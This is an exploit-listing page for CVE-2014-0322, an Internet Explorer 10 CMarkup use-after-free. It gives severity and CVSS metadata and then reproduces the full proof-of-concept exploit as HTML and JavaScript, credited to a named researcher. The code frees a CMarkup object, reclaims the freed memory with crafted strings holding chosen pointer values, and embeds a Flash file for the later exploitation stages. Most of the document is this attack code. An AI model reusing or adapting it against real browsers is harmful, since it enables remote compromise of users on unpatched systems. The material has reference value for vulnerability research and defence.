Internet Explorer 10 CMarkup Use-After-Free Exploit

CVE	Category	Price	Severity
CVE-2014-0322	CWE-416	$5,000	High

Author	Risk	Exploitation Type	Date
Unknown	High	Remote	2014-04-15

CVSS	EPSS	EPSSP
CVSS: 9.3/AV:N/AC:M/Au:N/C:C/I:C/A:C	0.02192	0.50148

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Network	AV	The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).

Our sensors found this exploit at: http://cxsecurity.com/ascii/WLB-2014040086

Below is a copy:

<!--
 MS14-012 Internet Explorer CMarkup Use-After-Free
 Vendor Homepage: http://www.microsoft.com
 Version: IE 10
 Date: 2014-03-31 
 Exploit Author: Jean-Jamil Khalife
 Tested on: Windows 7 SP1 x64 (fr, en)
 Flash versions tested: Adobe Flash Player (12.0.0.70, 12.0.0.77)
 Home: http://www.hdwsec.fr
 Blog : http://www.hdwsec.fr/blog/
 MS14-012 / CVE-2014-0322
-->
 
<html>
<head>
</head>
<body>
 
<script>
 
var g_arr = [];
var arrLen = 0x250;
 
function dword2data(dword)
{
    var d = Number(dword).toString(16);
    while (d.length < 8)
        d = '0' + d;
 
    return unescape('%u' + d.substr(4, 8) + '%u' + d.substr(0, 4));
}
 
function eXpl()
{
    var a=0;
 
    for (a=0; a < arrLen; a++) {
        g_arr[a] = document.createElement('div');
    }
     
    // Build a new object
    var b = dword2data(0x19fffff3);
    while (b.length < 0x360)
    {
        // mov     eax,dword ptr [esi+98h]
        // ...
        // mov     eax,dword ptr [eax+8]
        // and     dword ptr [eax+2F0h],0FFFFFFBFh
        if (b.length == (0x98 / 2))
        {
            b += dword2data(0x1a000010);
        }
        // mov     ecx,dword ptr [edx+94h]
        // mov     eax,dword ptr [ecx+0Ch]
        else if (b.length == (0x94 / 2))
        {
            b += dword2data(0x1a111111);
        }
        // mov     eax,dword ptr [edx+15Ch]
        // mov     ecx,dword ptr [eax+edx*8]
        else if (b.length == (0x15c / 2))
        {
            b += dword2data(0x42424242);
        }
        else
        {
            b += dword2data(0x19fffff3);
        }
    }
     
    var d = b.substring(0, ( 0x340 - 2 )/2);
     
    // trigger
    try{
        this.outerHTML=this.outerHTML
    } 
    catch(e){
         
    }
     
    CollectGarbage();
 
    // Replace freed object
    for (a=0; a < arrLen; a++)
    {
        g_arr[a].title = d.substring(0, d.length);
    }
}
 
// Trigger the vulnerability
function trigger()
{
    var a = document.getElementsByTagName("script");
    var b = a[0];
    b.onpropertychange = eXpl;
    var c = document.createElement('SELECT');
    c = b.appendChild(c);
}
 
 
 
</script>
<embed src=AsXploit.swf width="10" height="10"></embed>
</body>
</html>

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